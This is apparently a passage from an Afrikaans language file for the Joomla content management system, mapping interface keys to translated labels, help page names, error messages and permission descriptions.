JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL="Outeur Agteruit-Alfabetiese orde" JGLOBAL_FIELD_CREATED_BY_DESC="Die gebruiker wie hierdie geskep het" JGLOBAL_ARTICLE_ORDER_DESC="Die Rangskikkingsorde waarin artikels vertoon sal word." JGLOBAL_AUTH_INCORRECT="Verkeerde gebruikernaam/wagwoord" JGLOBAL_AUTH_USER_NOT_FOUND="Kon nie gebruiker vind nie" JGLOBAL_NUMBER_ITEMS_LIST_DESC="Verstek aantal artikels om op 'n bladsy te lys." JHELP_MENUS_MENU_ITEM_CONTACT_CATEGORIES="Menus_Menu_Item_Kontak_Kategorië" JLIB_DATABASE_ERROR_CONNECT_DATABASE="Kon nie met die Databasis verbind nie: %s" JLIB_DATABASE_ERROR_ADAPTER_MYSQLI="Die MySQL aanpasser 'mysqli' is nie beskikbaar nie." JLIB_DATABASE_ERROR_CONNECT_MYSQL="Kon nie met MySQL verbind nie." JFIELD_MODULE_LANGUAGE_DESC="Wys 'n taal toe aan hierdie module." JOPTION_SELECT_AUTHOR_ALIASES="- Kies Outeur Aliase -" JHELP_EXTENSIONS_MODULE_MANAGER_MOST_READ="Ekstensies_Module_Bestuurder_Mees_Gelees" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORIES="Menus_Menu_Item_Artikel_Kategorië" JHELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER="Ekstensies_Ekstensie_Bestuurder_Ontdek" JHELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS="Ekstensies_Ekstensie_Bestuurder_Waarskuwings" JGLOBAL_SELECT_ALLOW_DENY_GROUP="Wysig %s toegang vir %s groep." JGRID_CHECKBOX_ROW_N="Merkblokkie vir ry %d" JFIELD_LOGOUT_IMAGE_DESC="Beeld om te vertoon op logout bladsy" JGLOBAL_CHOOSE_CATEGORY_DESC="Kies 'n kategorie van die lys" JHELP_COMPONENTS_MESSAGING_INBOX="Komponente_Messaging_Inboks" JHELP_COMPONENTS_MESSAGING_WRITE="Komponente_Messaging_Skryf" JHELP_USERS_MASS_MAIL_USERS="Gebruikers_Mass_Mail_Gebruikers" JFIELD_BASIS_LOGIN_DESCRIPTION_LABEL="Inteken Beskrywingsteks" JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_LABEL="Inteken Beskrywing" JGLOBAL_AUTH_NO_REDIRECT="Kon nie na die bediener herlei nie: %s" JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_LABEL="Aantal kategorië" JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL="Kategorie Beskrywing" JGLOBAL_SHOW_SUBCATEGORY_CONTENT_LABEL="Sluit Subkategorieëe" JGLOBAL_SHOW_UNAUTH_LINKS_LABEL="Vertoon Ongemagtigde Skakels" JGLOBAL_NOINDEX_NOFOLLOW="Geen indeks, geen volg nie" JGLOBAL_FILTER_ATTRIBUTES_LABEL="Filtreer Eienskappe" JHELP_COMPONENTS_CONTENT_CATEGORY_ADD="Komponente_Inhoud_Kategorië_Redigeer" JHELP_COMPONENTS_CONTACT_CATEGORY_ADD="Komponente_Kontakte_Kategorië_Redigeer" JLIB_DATABASE_ERROR_LOAD_DATABASE_DRIVER="Kon nie Databasis Aandrywer laai nie: %s" JHELP_CONTENT_FEATURED_ARTICLES="Inhoud_Hooftrekke_Artikels" JGLOBAL_ALLOW_RATINGS_LABEL="Ontsper Beoordeelings" JFIELD_CATEGORY_DESC="Die kategorie waaraan hierdie item toegewys is." JGLOBAL_CLICK_TO_SORT_THIS_COLUMN="Kliek om volgens hierdie kolom te sorteer" JGLOBAL_SUBHEADING_DESC="Optionele teks om 'n sub-opskrif te vertoon." JFIELD_BASIS_LOGOUT_DESCRIPTION_SHOW_LABEL="Afteken Beskrywingsteks" JGLOBAL_SHOW_PUBLISH_DATE_LABEL="Vertoon Publiseer Datum" JGLOBAL_TPL_CPANEL_LINK_TEXT="Keer terug na die Beheer Paneel" JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL="Sub-kategorie Vlakke" JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_LABEL=" Intro teks Limiet" JHELP_COMPONENTS_BANNERS_CATEGORIES="Komponente_Banier_Kategorië" JHELP_MENUS_MENU_ITEM_MENU_ITEM_ALIAS="Menus_Menu_Item_Menu_Item_Alias" JHELP_MENUS_MENU_ITEM_WEBLINK_SUBMIT="Menus_Menu_Item_Webskakel_Bydra" JOPTION_USE_DEFAULT_MODULE_SETTING="- Gebruik Verstek Module Instelling -" JFIELD_BASIS_LOGIN_DESCRIPTION_DESC="Teks om op inteken bladsy te vertoon" JGLOBAL_MULTI_COLUMN_ORDER_DESC="Rangskik artikels afwaards en dan kruis-oor kolomme" JGLOBAL_FIELD_PUBLISH_UP_DESC="'n Optionele datum wanneer te begin Publiseer" JHELP_COMPONENTS_CONTENT_CATEGORIES="Komponente_Inhoud_Kategorië" JHELP_EXTENSIONS_MODULE_MANAGER_MENU="Ekstensies_Module_Bestuurder_Menu" JHELP_MENUS_MENU_ITEM_CONTACT_CATEGORY="Menus_Menu_Item_Kontak_Kategorie" JHELP_MENUS_MENU_ITEM_CONTACT_FEATURED="Menus_Menu_Item_Kontak_Hooftrekke" JHELP_MENUS_MENU_ITEM_USER_REMINDER="Menus_Menu_Item_Gebruiker_Herinnering" JLIB_DATABASE_ERROR_DATABASE_CONNECT="Kon nie met die databasis verbind nie" JGLOBAL_MAXLEVEL_DESC="Maximum aantal vlakke van subkategorieë om te vertoon." JHELP_EXTENSIONS_MODULE_MANAGER_BANNERS="Ekstensies_Module_Bestuurder_Banier" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_ONLINE="Ekstensies_Module_Bestuurder_Admin_Onlyn" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_STATUS="Ekstensies_Module_Bestuurder_Admin_Status" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_UNREAD="Ekstensies_Module_Bestuurder_Admin_Ongelees" JHELP_EXTENSIONS_MODULE_MANAGER_BREADCRUMBS="Ekstensies_Module_Bestuurder_Broodkrummels" JHELP_EXTENSIONS_MODULE_MANAGER_FEED_DISPLAY="Ekstensies_Module_Bestuurder_Afvoer_Vertoon" JOPTION_USE_MENU_REQUEST_SETTING="- Gebruik Menu of Versoek instelling -" JHELP_COMPONENTS_NEWSFEEDS_CATEGORIES="Komponente_Nuusafvoere_Kategorië" JHELP_COMPONENTS_WEBLINKS_CATEGORIES="Komponente_Webskakels_Kategorië" JGLOBAL_SHOW_HEADINGS_DESC="Vertoon of Versteek die opskrifte in lys-vorm uitleg." JFIELD_BASIS_LOGOUT_DESCRIPTION_DESC="Vertoon of Versteek Afteken Beskrywing" JHELP_COMPONENTS_BANNERS_CATEGORY_ADD="Komponente_Banier_Kategorië_Redigeer" JHELP_COMPONENTS_MESSAGING_READ="Komponente_Boodskappe_Lees" JHELP_COMPONENTS_NEWSFEEDS_CATEGORY_ADD="Komponente_Nuusafvoere_Kategorië_Redigeer" JHELP_COMPONENTS_WEBLINKS_CATEGORY_ADD="Komponente_Webskakels_Kategorië_Redigeer" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_BLOG="Menus_Menu_Item_Artikel_Kategorie_Blog" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_LIST="Menus_Menu_Item_Artikel_Kategorie_Lys" JHELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL="Ekstensies_Ekstensie_Bestuurder_Install" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_FEED="Ekstensies_Module_Bestuurder_Admin_Afvoer" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_MENU="Ekstensies_Module_Bestuurder_Admin_Menu" JHELP_EXTENSIONS_MODULE_MANAGER_STATISTICS="Ekstensies_Module_Bestuurder_Statistieke" JHELP_EXTENSIONS_MODULE_MANAGER_WHO_ONLINE="Ekstensies_Module_Bestuurder_WieIsAanlyn" JHELP_MENUS_MENU_ITEM_NEWSFEED_CATEGORIES="Menus_Menu_Item_Nuusafvoer_Kategorië" JHELP_MENUS_MENU_ITEM_WEBLINK_CATEGORIES="Menus_Menu_Item_Webskakel_Kategorië" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_TITLE="Ekstensies_Module_Bestuurder_Admin_Titel" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LATEST="Ekstensies_Module_Bestuurder_Admin_Laatste" JGLOBAL_FIELD_CREATED_BY_ALIAS_DESC="Gebruik 'n ander naam as die outeur s'n" JGLOBAL_FIELD_FIELD_CACHETIME_DESC="Die aantal minute voordat die kas hervars word." JGLOBAL_SHOW_CATEGORY_IMAGE_DESC="Vertoon of versteek die beeld van die gekiesde Kategorie." JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_POPULAR="Ekstensies_Module_Bestuurder_Admin_Populêr" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_SUBMENU="Ekstensies_Module_Bestuurder_Admin_Submenu" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_TOOLBAR="Ekstensies_Module_Bestuurder_Admin_Nutsbalk" JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_DESC="Aantal kategorië om te vertoon vir elke vlak" JWARNING_TRASH_MUST_SELECT="Jy moet ten minste een item om te skrap kies." JGLOBAL_CATEGORY_ORDER_DESC="Die sorteerorde waarin kategorië vertoon sal word." JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_NEWS="Ekstensies_Module_Bestuurder_Laatste_Nuus" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_RELATED="Ekstensies_Module_Bestuurder_Artikels_Verwant" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_NEWSFLASH="Ekstensies_Module_Bestuurder_Artikels_Nuusflits" JHELP_EXTENSIONS_MODULE_MANAGER_CUSTOM_HTML="Ekstensies_Module_Bestuurder_Pasgemaakte_HTML" JHELP_EXTENSIONS_MODULE_MANAGER_FOOTER="Ekstensies_Module_Bestuurder_Footer" JHELP_EXTENSIONS_MODULE_MANAGER_LANGUAGE_SWITCHER="Ekstensies_Module_Bestuurder_Taal_Skakelaar" JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_USERS="Ekstensies_Module_Bestuurder_Laatste_Gebruikers" JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED="Resultaat Onbekend. Toegang Verbode" JGLOBAL_FIELD_MODIFIED_BY_DESC="Die gebruiker wie die laaste wysiging gemaak het" JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL="Top Vlak Kategorie Beskrywing" JGLOBAL_USERNAME="Gebruiker Naam" JHELP="Hulp" JYES="Ja" JTOOLBAR_APPLY="Stoor" JTOOLBAR_CLOSE="Sluit" JTOOLBAR_DEFAULT="Verstek" JTOOLBAR_DELETE="Skrap" JTOOLBAR_DISABLE="Sper" JTOOLBAR_EDIT="Redigeer" JTOOLBAR_ENABLE="Ontsper" JTOOLBAR_HELP="Hulp" JTOOLBAR_NEW="Nuut" JTOOLBAR_OPTIONS="Opsies" JTOOLBAR_PUBLISH="Publiseer" JTOOLBAR_REMOVE="Verwyder" JTOOLBAR_SAVE_AND_NEW="Stoor & Nuut" JTOOLBAR_SAVE_AS_COPY="Stoor as Kopie" JTOOLBAR_SAVE="Stoor & Sluit" JSAVE="Stoor & Sluit" JSEARCH_RESET="Herstel" JSELECT="Kies" JSHOW="Vertoon" JSITE="Werf" JOPTION_USE_DEFAULT="- Gebruik Verstek -" JPREVIOUS="Vorige" JPREV="Vorige" JPUBLISHED="Publiseer" JOPTIONS="Opsies" JOPTION_SELECT_LANGUAGE="- Kies Taal -" JMODIFY="Wysig" JNEVER="Nooit" JNEXT="Volgende" JNONE="Geen " JNO="Nee" JOFF="Af" JON="Aan" JLOGIN="Inteken" JLOGOUT="Uitteken" JOPTION_SELECT_AUTHOR="- Kies Outeur -" JOPTION_SELECT_EDITOR="- Kies Redigeerder -" JOPTION_SELECT_IMAGE="- Kies Beeld -" JOPTION_SELECT_MENU_ITEM="- Kies Menu Item -" JOPTION_SELECT_PUBLISHED="- Kies Staat -" JREGISTER="Registreer" JHIDE="Versteek" TIME_ZONE="Tyd Zone" ERROR="Fout" JACTION_DELETE="Skrap" JACTION_EDIT="Redigeer" JALL_LANGUAGE="Almal" JAPPLY="Stoor" JAUTHOR="Outeur" JADMINISTRATION="Administrasie" JADMINISTRATOR="Administrateur" JCURRENT="Huidig" JDATE="Datum" JDEFAULT="Verstek" JDETAILS="Details" JDISABLED="Gesper" JENABLED="Ontsper" JCLEAR="Skoon" JGLOBAL_INTRO_TEXT="Intro Teks" JGLOBAL_RIGHT="Regs" JGLOBAL_TOP="Bo" JGRID_HEADING_ID="ID" JGRID_HEADING_LANGUAGE="Taal" JGRID_HEADING_MENU_ITEM_TYPE="Menu Item Tipe" JGRID_HEADING_ORDERING="Orde" JGLOBAL_PASSWORD="Wagwoord" JFIELD_OPTION_NONE="Geen " JFALSE="Fals" JGLOBAL_LEFT="Links" JGLOBAL_HITS="Trefslae" JGLOBAL_MOST_HITS="Meeste Trefslae" JGLOBAL_MOST_RECENT_FIRST="Mees-onlangse eerste" JGLOBAL_OLDEST_FIRST="Oudste eerste" JGLOBAL_NO_ORDER="Geen Orde nie" JGLOBAL_MENU_SELECTION="Menu Keuse:" JOPTION_FROM_COMPONENT="---Van Komponent---" JOPTION_FROM_MODULE="---Van Module---" JOPTION_MENUS="Menus" JOPTION_ORDER_FIRST="Orde Eerste" JOPTION_ORDER_LAST="Orde Laaste" JSEARCH_FILTER="Soek" JSUBMIT="Dra By" JVERSION="Versie" JTRASH="Vuilis" JTOOLBAR_EXPORT="Eksporteer" JERROR_LOADING_MENUS="Fout met die laai van Menus: %s" JERROR_LOADFILE_FAILED="Fout met die laai van vorm lêer" JGLOBAL_EMAIL="E-pos" JGLOBAL_VALIDATION_FORM_FAILED="Ongeldige vorm" JGLOBAL_LEAST_HITS="Minste Trefslae" JTOOLBAR_UNPUBLISH="Ontpubliseer" JUNPUBLISHED="Ontpubliseered" JACTION_LOGIN_SITE="Werf Inteken" JBROWSERTARGET_NEW="Maak oop in nuwe Venster" JHELP_MENUS_MENU_ITEM_ARTICLE_ARCHIVED="Menus_Menu_Item_Article_Archived" JHELP_MENUS_MENU_ITEM_ARTICLE_CREATE="Menus_Menu_Item_Article_Create" JHELP_MENUS_MENU_ITEM_ARTICLE_FEATURED="Menus_Menu_Item_Article_Featured" JHELP_MENUS_MENU_ITEM_ARTICLE_SINGLE_ARTICLE="Menus_Menu_Item_Article_Single_Article" JHELP_MENUS_MENU_ITEM_CONTACT_SINGLE_CONTACT="Menus_Menu_Item_Contact_Single_Contact" JHELP_MENUS_MENU_ITEM_EXTERNAL_URL="Menus_Menu_Item_External_URL" JHELP_MENUS_MENU_ITEM_MANAGER_EDIT="Menus_Menu_Item_Manager_Edit" JHELP_MENUS_MENU_ITEM_MANAGER="Menus_Menu_Item_Manager" JHELP_MENUS_MENU_ITEM_NEWSFEED_CATEGORY="Menus_Menu_Item_Newsfeed_Category" JHELP_MENUS_MENU_ITEM_NEWSFEED_SINGLE_NEWSFEED="Menus_Menu_Item_Newsfeed_Single_Newsfeed" JHELP_MENUS_MENU_ITEM_SEARCH_RESULTS="Menus_Menu_Item_Search_Results" JHELP_MENUS_MENU_ITEM_TEXT_SEPARATOR="Menus_Menu_Item_Text_Separator" JHELP_MENUS_MENU_ITEM_USER_LOGIN="Menus_Menu_Item_User_Login" JHELP_MENUS_MENU_ITEM_USER_PASSWORD_RESET="Menus_Menu_Item_User_Password_Reset" JHELP_MENUS_MENU_ITEM_USER_PROFILE_EDIT="Menus_Menu_Item_User_Profile_Edit" JHELP_MENUS_MENU_ITEM_USER_PROFILE="Menus_Menu_Item_User_Profile" JHELP_MENUS_MENU_ITEM_USER_REGISTRATION="Menus_Menu_Item_User_Registration" JHELP_MENUS_MENU_ITEM_WEBLINK_CATEGORY="Menus_Menu_Item_Weblink_Category" JHELP_MENUS_MENU_ITEM_WRAPPER="Menus_Menu_Item_Wrapper" JHELP_MENUS_MENU_MANAGER_EDIT="Menus_Menu_Manager_Edit" JHELP_MENUS_MENU_MANAGER="Menus_Menu_Manager" JGLOBAL_CREATED_DATE="Skeppings-Datum" JGLOBAL_DESCRIPTION="Beskrywing" JGLOBAL_FIELD_PUBLISH_DOWN_DESC="'n Optionele datum wanneer publiseering gestaak sal word" JGLOBAL_ISFREESOFTWARE="%s is Gratis Sagteware wat kragtens die GNU Algemene Publieke Lisensie vrygestel is." JHELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE="Extensions_Extension_Manager_Manage" JHELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE="Extensions_Extension_Manager_Update" JHELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT="Extensions_Language_Manager_Content" JHELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT="Extensions_Language_Manager_Edit" JHELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED="Extensions_Language_Manager_Installed" JHELP_EXTENSIONS_MODULE_MANAGER="Extensions_Module_Manager" JHELP_COMPONENTS_BANNERS_BANNERS_EDIT="Components_Banners_Banners_Edit" JHELP_COMPONENTS_BANNERS_CATEGORY_EDIT="Components_Banners_Categories_Edit" JHELP_COMPONENTS_BANNERS_CLIENTS="Components_Banners_Clients" JHELP_COMPONENTS_BANNERS_CLIENTS_EDIT="Components_Banners_Clients_Edit" JHELP_COMPONENTS_BANNERS_TRACKS="Components_Banners_Tracks" JHELP_COMPONENTS_CONTACT_CATEGORIES="Components_Contacts_Categories" JHELP_COMPONENTS_CONTACT_CATEGORY_EDIT="Components_Contacts_Categories_Edit" JHELP_COMPONENTS_CONTACTS_CONTACTS="Components_Contacts_Contacts" JHELP_COMPONENTS_CONTACTS_CONTACTS_EDIT="Components_Contacts_Contacts_Edit" JHELP_COMPONENTS_CONTENT_CATEGORY_EDIT="Components_Content_Categories_Edit" JHELP_COMPONENTS_NEWSFEEDS_CATEGORY_EDIT="Components_Newsfeeds_Categories_Edit" JHELP_COMPONENTS_NEWSFEEDS_FEEDS="Components_Newsfeeds_Feeds" JHELP_COMPONENTS_NEWSFEEDS_FEEDS_EDIT="Components_Newsfeeds_Feeds_Edit" JHELP_COMPONENTS_REDIRECT_MANAGER="Components_Redirect_Manager" JHELP_COMPONENTS_REDIRECT_MANAGER_EDIT="Components_Redirect_Manager_Edit" JHELP_COMPONENTS_SEARCH="Components_Search" JHELP_COMPONENTS_WEBLINKS_CATEGORY_EDIT="Components_Weblinks_Categories_Edit" JHELP_COMPONENTS_WEBLINKS_LINKS="Components_Weblinks_Links" JHELP_COMPONENTS_WEBLINKS_LINKS_EDIT="Components_Weblinks_Links_Edit" JHELP_CONTENT_ARTICLE_MANAGER="Content_Article_Manager" JHELP_CONTENT_ARTICLE_MANAGER_EDIT="Content_Article_Manager_Edit" JHELP_CONTENT_MEDIA_MANAGER="Content_Media_Manager" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_CUSTOM="Extensions_Module_Manager_Admin_Custom" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LOGGED="Extensions_Module_Manager_Admin_Logged" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LOGIN="Extensions_Module_Manager_Admin_Login" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_QUICKICON="Extensions_Module_Manager_Admin_Quickicon" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_ARCHIVE="Extensions_Module_Manager_Articles_Archive" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORIES="Extensions_Module_Manager_Articles_Categories" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORY="Extensions_Module_Manager_Articles_Category" JHELP_EXTENSIONS_MODULE_MANAGER_EDIT="Extensions_Module_Manager_Edit" JHELP_EXTENSIONS_MODULE_MANAGER_LOGIN="Extensions_Module_Manager_Login" JHELP_EXTENSIONS_MODULE_MANAGER_RANDOM_IMAGE="Extensions_Module_Manager_Random_Image" JHELP_EXTENSIONS_MODULE_MANAGER_SEARCH="Extensions_Module_Manager_Search" JHELP_EXTENSIONS_MODULE_MANAGER_SYNDICATION_FEEDS="Extensions_Module_Manager_Syndication_Feeds" JHELP_EXTENSIONS_MODULE_MANAGER_WEBLINKS="Extensions_Module_Manager_Weblinks" JHELP_EXTENSIONS_MODULE_MANAGER_WRAPPER="Extensions_Module_Manager_Wrapper" JHELP_EXTENSIONS_PLUGIN_MANAGER="Extensions_Plugin_Manager" JHELP_EXTENSIONS_PLUGIN_MANAGER_EDIT="Extensions_Plugin_Manager_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES="Extensions_Template_Manager_Styles" JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES_EDIT="Extensions_Template_Manager_Styles_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES="Extensions_Template_Manager_Templates" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT="Extensions_Template_Manager_Templates_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT_SOURCE="Extensions_Template_Manager_Templates_Edit_Source" JHELP_SITE_SYSTEM_INFORMATION="Site_System_Information" JHELP_USERS_ACCESS_LEVELS_EDIT="Users_Access_Levels_Edit" JHELP_USERS_DEBUG_USERS="Users_Debug_Users" JHELP_SITE_GLOBAL_CONFIGURATION="Site_Global_Configuration" JHELP_SITE_MAINTENANCE_CLEAR_CACHE="Site_Maintenance_Clear_Cache" JHELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN="Site_Maintenance_Global_Check-in" JHELP_SITE_MAINTENANCE_PURGE_EXPIRED_CACHE="Site_Maintenance_Purge_Expired_Cache" JHELP_SITE_SYSTEM_INFORMATION="Site_System_Information" JHELP_USERS_ACCESS_LEVELS_EDIT="Users_Access_Levels_Edit" JHELP_USERS_DEBUG_USERS="Users_Debug_Users" JHELP_USERS_GROUPS_EDIT="Users_Groups_Edit" JHELP_USERS_USER_MANAGER="Users_User_Manager" JHELP_USERS_USER_MANAGER_EDIT="Users_User_Manager_Edit" PHPMAILER_FROM_FAILED="Die volgende van adres het gefaal: " PHPMAILER_MAILER_IS_NOT_SUPPORTED=" E-pos agent is nie ondersteun nie." PHPMAILER_PROVIDE_ADDRESS="Jy moet ten minste 'n e-pos ontvanger adres aangee." PHPMAILER_FILE_ACCESS="Kon nie lêer-toegang kry nie: " PHPMAILER_RECIPIENTS_FAILED="SMTP Fout! Die volgende ontvangers het gefaal: " PHPMAILER_SIGNING_ERROR="Stempel (Signing) fout: " JINVALID_TOKEN="Die mees-onlangse versoek is gewyer omdat dit 'n ongeldige sekuriteits-kenteken bevat. Vervars jou bladsy en probeer weer." JGLOBAL_DISPLAY_NUM="Vertoon #" JERROR_PARSING_LANGUAGE_FILE=" : fout(e) in lyn(e) %s" JERROR_ALERTNOAUTHOR="Jy is nie gemagtig om hierdie bron te besigtig nie." JERROR_LOGIN_DENIED="Jy het nie toegang tot die administrateur seksie van hierdie werf nie." JGLOBAL_AUTH_FAILED="Stawing gefaal: %s" JGLOBAL_AUTH_BIND_FAILED="Kon nie met LDAP bediener verbind nie" JERROR_SAVE_FAILED="Kon nie data stoor nie. Fout: %s" JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_DESC="Vertoon of Versteek Inteken Beskrywing" JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC="Vertoon/Versteek die beskrywing van die gekiesde Kategorie." JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL="Subkategorië Beskrywings" JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC="Vertoon/Versteek die subkategorië beskrywings." JGLOBAL_SHOW_READMORE_LIMIT_DESC="Beperk die aantal karakters in die Artikel Titel om in die Lees Meer knoppie te vertoon." JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL="Kies 'n Top-Vlak Kategorie" JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_DESC="Kategorië wat binne-in hierdie kategorie is, sal vertoon word" JGLOBAL_FIELD_LAYOUT_DESC="Verstek uitleg om vir artikels te gebruik" JGLOBAL_FIELD_CATEGORIES_DESC_LABEL="Top-Vlak Kategorie Beskrywing" JGLOBAL_EDIT_PREFERENCES="Redigeer Voorkeure" JGLOBAL_CATEGORY_OPTIONS="Kategorie Opsies" JGLOBAL_CATEGORY_MANAGER_ORDER="Kategorie Bestuurder Orde" JGLOBAL_CATEGORIES_OPTIONS="Kategorië Opsies" JGLOBAL_ARCHIVE_OPTIONS="Argief Opsies" JGLOBAL_PERMISSIONS_ANCHOR="Stel Toegangsregte" JGLOBAL_ORDERING="Artikel Bestuurder Rankskikkingsorde" JGLOBAL_FIELDSET_OPTIONS="Opsies" JGLOBAL_FIELDSET_METADATA_OPTIONS="Metadata Opsies" JGLOBAL_FIELDSET_PUBLISHING="Publiseerings Opsies" JGLOBAL_FIELDSET_DISPLAY_OPTIONS="Vertoon Opsies" JGLOBAL_EDIT_ITEM="Redigeer item" JGLOBAL_ARTICLE_MANAGER_ORDER="Rangskikkingsorde" JGLOBAL_CLICK_TO_TOGGLE_STATE="Kliek op ikoon om staat te wissel." JGLOBAL_CENTER="Middel" JGLOBAL_NUM_LINKS_DESC="Aantal artikels om as skakels te vertoon, gewoonlik onder die Intro Artikels." JGLOBAL_ORDERING_DATE_DESC="Indien artikels volgends datum rangskik is, watter datum om te gebruik." JGLOBAL_CATEGORY_MANAGER_ORDER="Kategorie Bestuurder Rangskikkingsorde" JGLOBAL_LIST_TITLE_DESC="Indien Vertoon, sal Kategorie Titel in die lys van kategorië vertoon word." JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC="Die aantal subkategorie-vlakke om te vertoon." JGLOBAL_NEWITEMSFIRST_DESC="Nuwe items verstek na die eerste posisie. Rankskikkingsorde kan gewysig word nadat hierdie item gestoor is." JGLOBAL_NEWITEMSLAST_DESC="Nuwe items verstek na die laaste posisie. Rankskikkingsorde kan gewysig word nadat hierdie item gestoor is." JGLOBAL_NO_ITEM_SELECTED="Geen items gekies nie" JGLOBAL_NUMBER_CATEGORY_ITEMS_DESC="Indien na Vertoon gestel, sal die aantal artikels in die kategorie vertoon word." JGLOBAL_NUM_COLUMNS_DESC="Die aantal kolomme waarin Intro Artikels te vertoon. Gewoonlik 1, 2, of 3." JGLOBAL_NUM_INTRO_ARTICLES_DESC="Aantal artikels om na die lyende artikel te vertoon. Artikels wword in kolomme vertoon." JGLOBAL_NUM_LEADING_ARTICLES_LABEL="# Lyende Artikels" JGLOBAL_SELECTION_ALL="Kies Almal" JGLOBAL_PAGINATION_DESC="Vertoon of versteek Paginasie-ondersteuning. Paginasie verskaf bladsy skakels onderaan die bladsy wat die Gebruiker toelaat om na die volgende bladsy te gaan. Hierdie is benodig wanneer die inligting nie op een bladsy pas nie." JGLOBAL_PAGINATION_RESULTS_DESC="Vertoon of versteek paginasie-uitvoer, by voorbeeld, "Bladsy 1 of 4"." JGLOBAL_SELECTION_NONE="Herstel Seleksie" JGLOBAL_SHOW_EMAIL_ICON_DESC="Vertoon/Versteek die e-pos ikoon. Hiermee kan mens 'n artikel aan iemand per e-pos stuur." JGLOBAL_SHOW_EMPTY_CATEGORIES_DESC="Indien 'Vertoon', sal leë kategorië vertoon word. 'n Kategorie is slegs leeg as dit geen items of subkategorië bevat nie." DATE_FORMAT_JS1="d-m-y" JSTATUS="Status" JGLOBAL_COPY="(kopie)" JACTION_ADMIN_GLOBAL_DESC="Laat gebruikers in die groep toe om enige aksies uit te voer, ongeag van die instellings." JACTION_CREATE_COMPONENT_DESC="Laat gebruikers in die groep toe om enige inhoud in hierdie ekstensie te skep." JACTION_DELETE_COMPONENT_DESC="Laat gebruikers in die groep toe om enige inhoud in hierdie ekstensie te skrap." JACTION_EDIT_COMPONENT_DESC="Laat gebruikers in die groep toe om enige inhoud in hierdie ekstensie te redigeer." JACTION_EDITOWN_COMPONENT_DESC="Laat gebruikers in die groep toe om enige inhoud wat hulle hulle bygedra het, in hierdie ekstensie te redigeer." JACTION_EDITSTATE_COMPONENT_DESC="Laat gebruikers in die groep toe om die staat of enige inhoud in hierdie ekstensie te wysig." JACTION_LOGIN_OFFLINE="Van Lyn Af Toegang" JERROR_NOLOGIN_BLOCKED="Inteken gesper. Jou rekening is óf geblokkeer óf jy het dit nog nie geaktiveer nie." JFIELD_KEY_REFERENCE_LABEL="Sleutel-Verwysing" JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC="Stel die maksimum aantal soektog uitslae." JFIELD_READMORE_DESC="Stel pasgemaakte teks in plaas van Lees Verder" JFIELD_XREFERENCE_LABEL="Eksterne Verwysing" J150="150" J200="200" J250="250" J300="300" J75="75" JFIELD_META_RIGHTS_DESC="Beskryf watter toegangsregte ander mense tot hierdie inhoud het." JGLOBAL_AUTH_NOT_CREATE_DIR="Kon nie die FileStore lêergids skep nie. Toets asseblief die toegangsregte." PHPMAILER_EMPTY_MESSAGE="Leë boodskap" PHPMAILER_INVALID_ADDRESS="Ongeldige adres" PHPMAILER_SMTP_CONNECT_FAILED="SMTP verbinding gefaal" PHPMAILER_SMTP_ERROR="SMTP bediener fout: " PHPMAILER_VARIABLE_SET="Kan nie variabel stel nie: " JFIELD_ACCESS_DESC="Die Toegangsvlak-Groep wat toegelaat is om hierdie item te sien." JFIELD_ALIAS_DESC="Die Alias sal in die SEF URL gebruik word. Los dit blanko en Joomla! sal 'n verstek waarde, wat op die titel gebaseer is, invul. Hierdie waarde is bepaal deur die SEO instellings (Globale 